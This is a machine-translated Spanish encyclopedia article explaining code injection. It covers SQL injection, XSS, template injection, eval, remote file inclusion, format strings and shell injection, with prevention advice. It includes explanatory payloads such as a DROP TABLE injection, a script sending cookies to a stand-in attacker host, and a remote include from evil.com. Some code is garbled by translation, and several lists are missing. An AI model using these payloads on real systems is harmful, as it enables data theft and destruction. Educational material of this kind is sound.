stringtranslate.com

inyección de código

La inyección de código es la explotación de un error informático causado por el procesamiento de datos no válidos. Un atacante utiliza la inyección para introducir (o "inyectar") código en un programa informático vulnerable y cambiar el curso de ejecución . El resultado de una inyección de código exitosa puede ser desastroso, al permitir, por ejemplo, que se propaguen virus o gusanos informáticos .

Las vulnerabilidades de inyección de código ocurren cuando una aplicación envía datos que no son de confianza a un intérprete . Los fallos de inyección se encuentran con mayor frecuencia en consultas SQL , LDAP , XPath , NoSQL , comandos del sistema operativo, analizadores XML , encabezados SMTP , argumentos de programa, etc. Los fallos de inyección tienden a ser más fáciles de descubrir cuando se examina el código fuente que mediante pruebas. [1] Los escáneres y fuzzers pueden ayudar a encontrar fallas en la inyección. [2]

La inyección puede provocar pérdida o corrupción de datos, falta de responsabilidad o denegación de acceso . En ocasiones, la inyección puede conducir a la adquisición completa del host.

Ciertos tipos de inyección de código son errores de interpretación, lo que da un significado especial a la entrada del usuario. Existen errores de interpretación similares fuera del mundo de la informática, como la rutina de comedia ¿ Quién está primero? . En la rutina, no se logra distinguir los nombres propios de las palabras regulares. Del mismo modo, en algunos tipos de inyección de código, no se puede distinguir la entrada del usuario de los comandos del sistema.

Las técnicas de inyección de código son populares en la piratería o craqueo de sistemas para obtener información, escalada de privilegios o acceso no autorizado a un sistema. La inyección de código se puede utilizar de forma malévola para muchos propósitos, entre ellos:

Los ataques de inyección de código en Internet de las cosas también podrían tener consecuencias graves, como violaciones de datos e interrupciones del servicio. [3]

En 2008, el 5,66% de todas las vulnerabilidades reportadas ese año se clasificaron como inyección de código, el año más alto registrado. En 2015, esta cifra había disminuido al 0,77%. [4]

Uso benigno y no intencionado

La inyección de código puede utilizarse con buenas intenciones; por ejemplo, cambiar o modificar el comportamiento de un programa o sistema mediante la inyección de código puede hacer que el sistema se comporte de cierta manera sin ninguna intención maliciosa. [5] [6] La inyección de código podría, por ejemplo:

Algunos usuarios pueden realizar inyección de código sin sospecharlo porque quienes desarrollaron originalmente el sistema no tuvieron en cuenta la información que proporcionaron a un programa. Por ejemplo:

Otro uso benigno de la inyección de código podría ser el descubrimiento de fallas de inyección en sí, con la intención de corregirlas. Esto se conoce como prueba de penetración de sombrero blanco .

Previniendo problemas

Para evitar problemas de inyección de código, utilice un manejo seguro de entrada y salida, como:

Las soluciones enumeradas anteriormente se ocupan principalmente de la inyección de código HTML o script basado en web en una aplicación del lado del servidor. Sin embargo, se deben adoptar otros enfoques cuando se trata de la inyección de código de usuario en la máquina del usuario, lo que resulta en ataques de elevación de privilegios. Algunos enfoques que se utilizan para detectar y aislar inyecciones de código administrado y no administrado son:

Ejemplos

inyección SQL

La inyección SQL aprovecha la sintaxis de SQL para inyectar comandos maliciosos que pueden leer o modificar una base de datos, o comprometer el significado de la consulta original. [13]

Por ejemplo, considere una página web que tiene dos campos para permitir a los usuarios ingresar un nombre de usuario y una contraseña. El código detrás de la página generará una consulta SQL para comparar la contraseña con la lista de nombres de usuario:

SELECCIONE Lista de usuarios . Nombre de usuario DESDE UserList DONDE UserList . Nombre de usuario = 'Nombre de usuario' Y Lista de usuarios . Contraseña = 'Contraseña'        

Si esta consulta devuelve alguna fila, se concede el acceso. Sin embargo, si el usuario malintencionado ingresa un nombre de usuario válido e inyecta algún código válido ( password' OR '1'='1) en el campo Contraseña, la consulta resultante se verá así:

SELECCIONE Lista de usuarios . Nombre de usuario DESDE UserList DONDE UserList . Nombre de usuario = 'Nombre de usuario' Y Lista de usuarios . Contraseña = 'contraseña' O '1' = '1'          

En el ejemplo anterior, se supone que "Contraseña" está en blanco o es una cadena inofensiva. " '1'='1'" siempre será verdadero y se devolverán muchas filas, permitiendo así el acceso.

La técnica puede perfeccionarse para permitir la ejecución de múltiples declaraciones, o incluso cargar y ejecutar programas externos.

Asuma una consulta con el siguiente formato:

SELECCIONAR Usuario . ID de usuario DESDE Usuario DONDE Usuario . UserID = ' " + UserID + " ' Y Usuario . Contraseña = ' " + Contraseña + " '        

Si un adversario tiene lo siguiente como entradas:

UserID: ';DROP TABLE User; --'

Password: 'OR"='

la consulta se analizará para que sea:

SELECCIONAR Usuario . ID de usuario DESDE Usuario DONDE Usuario . ID de usuario = '' ; DROP TABLE Usuario ; --'Y Contraseña = ''O"='        

El resultado es que la tabla Userse eliminará de la base de datos. Esto ocurre porque el ;símbolo significa el final de un comando y el comienzo de uno nuevo. --significa el comienzo de un comentario.

secuencias de comandos entre sitios

La inyección de código es la inyección o introducción maliciosa de código en una aplicación. Algunos servidores web tienen un script de libro de visitas que acepta pequeños mensajes de los usuarios y normalmente recibe mensajes como:

Muy lindo sitio!

Sin embargo, una persona malintencionada puede conocer una vulnerabilidad de inyección de código en el libro de visitas e ingresar un mensaje como:

Buen sitio, creo que lo aceptaré. ventana <script> . _ _ ubicación = "https://some_attacker/evilcgi/cookie.cgi?steal=" + escape ( documento . cookie )</ script >  

Si otro usuario ve la página, se ejecutará el código inyectado. Este código puede permitir al atacante hacerse pasar por otro usuario. Sin embargo, este mismo error de software puede ser activado accidentalmente por un usuario modesto, lo que hará que el sitio web muestre un código HTML incorrecto.

La inyección de secuencias de comandos y HTML es un tema popular, comúnmente denominado " secuencias de comandos entre sitios " o "XSS". XSS se refiere a una falla de inyección por la cual la entrada del usuario a un script web o algo similar se coloca en el HTML de salida, sin ser verificado en busca de código HTML o scripting.

Muchos de estos problemas están relacionados con suposiciones erróneas sobre qué datos de entrada son posibles o los efectos de datos especiales. [14]

Inyección de plantilla del lado del servidor

Los motores de plantillas se utilizan a menudo en aplicaciones web modernas para mostrar datos dinámicos. Sin embargo, confiar en datos de usuario no validados puede conducir con frecuencia a vulnerabilidades críticas [15] , como inyecciones de plantillas del lado del servidor. Si bien esta vulnerabilidad es similar a las secuencias de comandos entre sitios , la inyección de plantilla se puede aprovechar para ejecutar código en el servidor web en lugar de en el navegador del visitante. Abusa de un flujo de trabajo común de las aplicaciones web que a menudo utilizan entradas y plantillas del usuario para representar una página web. El siguiente ejemplo muestra el concepto. Aquí la plantilla {{visitor_name}}se reemplaza con datos durante el proceso de renderizado.

Hola {{visitor_name}}

Un atacante puede utilizar este flujo de trabajo para inyectar código en el proceso de renderizado proporcionando un archivo visitor_name. Dependiendo de la implementación de la aplicación web, podría optar por inyectar {{7*'7'}}lo que el renderizador podría resolver Hello 7777777. Tenga en cuenta que el servidor web real ha evaluado el código malicioso y, por lo tanto, podría ser vulnerable a la ejecución remota de código .

Vulnerabilidades de evaluación dinámica

Una vulnerabilidad de inyección ocurre cuando un atacante puede controlar toda o parte de una cadena de entrada que se introduce en una llamada de función. [dieciséis]eval()eval()

$mivar  =  'algún valor' ; $x  =  $_GET [ 'arg' ]; eval ( '$mivar = '  .  $x  .  ';' );

El argumento de " eval" se procesará como PHP , por lo que se pueden agregar comandos adicionales. Por ejemplo, si "arg" se establece en " ", se ejecuta código adicional que ejecuta un programa en el servidor, en este caso " ".10; system('/bin/echo uh-oh')/bin/echo

Inyección de objetos

PHP permite la serialización y deserialización de objetos completos . Si se permiten entradas que no son de confianza en la función de deserialización, es posible sobrescribir las clases existentes en el programa y ejecutar ataques maliciosos. [17] Un ataque de este tipo a Joomla se encontró en 2013. [18]

Inyección remota de archivos

Considere este programa PHP (que incluye un archivo especificado por solicitud):

<?php $color  =  'azul' ; if  ( isset ( $_GET [ 'color' ]))  $color  =  $_GET [ 'color' ]; requerir ( $color  .  '.php' );

El ejemplo podría leerse como si solo se pudieran cargar archivos de color similares, mientras que los atacantes podrían hacer blue.phpque PHP cargue el archivo externo.red.phpCOLOR=http://evil.com/exploit

Inyección de especificador de formato

Los errores de formato de cadena aparecen con mayor frecuencia cuando un programador desea imprimir una cadena que contiene datos proporcionados por el usuario. El programador puede escribir por error printf(buffer)en lugar de printf("%s", buffer). La primera versión se interpreta buffercomo una cadena de formato y analiza las instrucciones de formato que pueda contener. La segunda versión simplemente imprime una cadena en la pantalla, como pretendía el programador. Considere el siguiente programa corto en C que tiene una matriz de caracteres variable local passwordque contiene una contraseña; el programa solicita al usuario un número entero y una cadena, luego repite la cadena proporcionada por el usuario.

 char entrada_usuario [ 100 ]; int int_in ; contraseña de caracteres [ 10 ] = "Contraseña1" ;        printf ( "Ingrese un número entero \n " ); scanf ( "%d" , & int_in ); printf ( "Por favor ingrese una cadena \n " ); fgets ( entrada_usuario , tamaño de ( entrada_usuario ), entrada estándar ); printf ( entrada_usuario ); // La versión segura es: printf("%s", user_input); printf ( " \n " );           devolver 0 ; 

Si la entrada del usuario se completa con una lista de especificadores de formato como %s%s%s%s%s%s%s%s, entonces printf()comenzará a leer desde la pila . Eventualmente, uno de los %sespecificadores de formato accederá a la dirección de password, que está en la pila, y la imprimirá Password1en la pantalla.

Inyección de concha

La inyección de shell (o inyección de comandos [19] ) lleva el nombre de los shells de Unix , pero se aplica a la mayoría de los sistemas que permiten que el software ejecute mediante programación una línea de comandos . Aquí hay un ejemplo de script tcsh vulnerable :

#!/bin/tcsh # comprueba las salidas de arg que coinciden si arg es uno if  ( $1  == 1 )  echo que coincide

Si lo anterior se almacena en el archivo ejecutable ./check, el comando de shell ./check " 1 ) evil"intentará ejecutar el comando de shell inyectado evilen lugar de comparar el argumento con el constante. Aquí, el código atacado es el código que intenta comprobar el parámetro, el mismo código que podría haber estado intentando validar el parámetro para defenderse de un ataque. [20]

Cualquier función que pueda usarse para componer y ejecutar un comando de shell es un vehículo potencial para lanzar un ataque de inyección de shell. Entre estos se encuentran system(), StartProcess()y System.Diagnostics.Process.Start().

Los sistemas cliente-servidor , como la interacción del navegador web con los servidores web, son potencialmente vulnerables a la inyección de shell. Considere el siguiente programa PHP breve que se puede ejecutar en un servidor web para ejecutar un programa externo llamado funnytextpara reemplazar una palabra que el usuario envió con alguna otra palabra.

<?php passthru ( "/bin/funnytext "  .  $_GET [ 'USER_INPUT' ]);

Lo passthruanterior compone un comando de shell que luego es ejecutado por el servidor web. Dado que parte del comando que compone se toma de la URL proporcionada por el navegador web, esto permite que la URL inyecte comandos de shell maliciosos. Se puede inyectar código en este programa de varias maneras explotando la sintaxis de varias características del shell (esta lista no es exhaustiva): [21]

Algunos lenguajes ofrecen funciones para escapar o citar correctamente cadenas que se utilizan para construir comandos de shell:

Sin embargo, esto todavía impone a los programadores la carga de conocer/aprender sobre estas funciones y recordar usarlas cada vez que usan comandos de shell. Además de utilizar estas funciones, también se recomienda validar o desinfectar la entrada del usuario.

Una alternativa más segura es utilizar API que ejecuten programas externos directamente, en lugar de a través de un shell, evitando así la posibilidad de inyección de shell. Sin embargo, estas API tienden a no admitir varias características convenientes de los shells y/o a ser más engorrosas/prolijas en comparación con la sintaxis concisa del shell.

Ver también

Referencias

  1. ^ "Las 10 principales vulnerabilidades de seguridad de aplicaciones web". Computación Penn . Universidad de Pennsylvania. Archivado desde el original el 24 de febrero de 2018 . Consultado el 10 de diciembre de 2016 .
  2. ^ "OWASP Top 10 2013 A1: fallas de inyección". OWASP . Consultado el 19 de diciembre de 2013 .
  3. ^ Nadie, Haitham Ameen; Abu-Sharkh, Osama MF (enero de 2023). "Ataques de inyección de código en Internet de las cosas (IoT) inalámbrico: una revisión completa e implementaciones prácticas". Sensores . 23 (13): 6067. Código bibliográfico : 2023Senso..23.6067N. doi : 10.3390/s23136067 . ISSN  1424-8220. PMC 10346793 . PMID  37447915. 
  4. ^ "NVD - Búsqueda de estadísticas". web.nvd.nist.gov . Consultado el 9 de diciembre de 2016 .
  5. ^ Srinivasan, Raghunathan. "Hacia detectores de virus más eficaces" (PDF) . Universidad del estado de Arizona . Archivado desde el original (PDF) el 29 de julio de 2010 . Consultado el 18 de septiembre de 2010 . El uso benévolo de la inyección de código ocurre cuando un usuario cambia el comportamiento de un programa para cumplir con los requisitos del sistema.
  6. ^ Morales, José André; Kartaltepe, Erhan; Xu, Shouhuai; Sandhu, Ravi (2010). "Detección de procesos de bot basada en síntomas". Seguridad de la red informática . Apuntes de conferencias sobre informática. vol. 6258. Berlín, Heidelberg: Springer. págs. 229-241. CiteSeerX 10.1.1.185.2152 . doi :10.1007/978-3-642-14706-7_18. ISBN  978-3-642-14705-0. ISSN  0302-9743.
  7. ^ "Trucos del vinculador dinámico: uso de LD_PRELOAD para hacer trampa, inyectar funciones e investigar programas". Blog de Rafał Cieślak . 2 de abril de 2013 . Consultado el 10 de diciembre de 2016 .
  8. ^ "Tutorial de Java EE 6: Capítulo 35 Uso de la API de criterios para crear consultas". Oráculo . Consultado el 19 de diciembre de 2013 .
  9. ^ Moertel, Tom (18 de octubre de 2006). "Una solución basada en tipos para el" problema de las cadenas ": ¿un final adecuado para los agujeros de inyección XSS y SQL?". Blog de Tom Moertel . Consultado el 21 de octubre de 2018 .
  10. ^ "Solo HTTP". OWASP . 12 de noviembre de 2014 . Consultado el 10 de diciembre de 2016 .
  11. ^ "Hoja de referencia para la prevención de inyecciones SQL". OWASP . Consultado el 10 de diciembre de 2016 .
  12. ^ Philippaerts, Pieter; et al. (1 de junio de 2013). "CPM: enmascarar punteros de código para prevenir ataques de inyección de código" (PDF) . Transacciones ACM sobre Seguridad de la Información y Sistemas . 16 (1): 1–27. doi :10.1145/2487222.2487223. ISSN  1094-9224. S2CID  10947780.
  13. ^ Zhuo, Z.; Cai, T.; Zhang, X.; Lv, F. (12 de marzo de 2021). "Memoria larga a corto plazo en un árbol de sintaxis abstracta para la detección de inyección SQL". Software IET . 15 (2): 188-197. doi :10.1049/sfw2.12018. ISSN  1751-8806. S2CID  233582569.
  14. ^ Esperanza, Brian; Esperanza, Paco; Walther, Ben (15 de mayo de 2009). Libro de recetas de pruebas de seguridad web . Sebastopol, CA: O'Reilly Media . pag. 254.ISBN _ 978-0-596-51483-9. OCLC  297573828.
  15. ^ "Inyección de plantilla del lado del servidor". Investigación de PortSwigger . 5 de agosto de 2015 . Consultado el 22 de mayo de 2022 .
  16. ^ Steven M. Christey (3 de mayo de 2006). "Vulnerabilidades de evaluación dinámica en aplicaciones PHP". Divulgación completa (lista de correo) . Consultado el 21 de octubre de 2018 .
  17. ^ "Advertencias de función deserializar". PHP.net.
  18. ^ "Análisis de la vulnerabilidad de inyección de objetos PHP en Joomla" . Consultado el 6 de junio de 2014 .
  19. ^ "Inyección de comandos". OWASP.
  20. ^ Douglas W. Jones, CS:3620 Notas, Conferencia 4 - Shell Scripts, primavera de 2018.
  21. ^ "Inyección de comandos: biblioteca Black Hat". Archivado desde el original el 27 de febrero de 2015 . Consultado el 27 de febrero de 2015 .

enlaces externos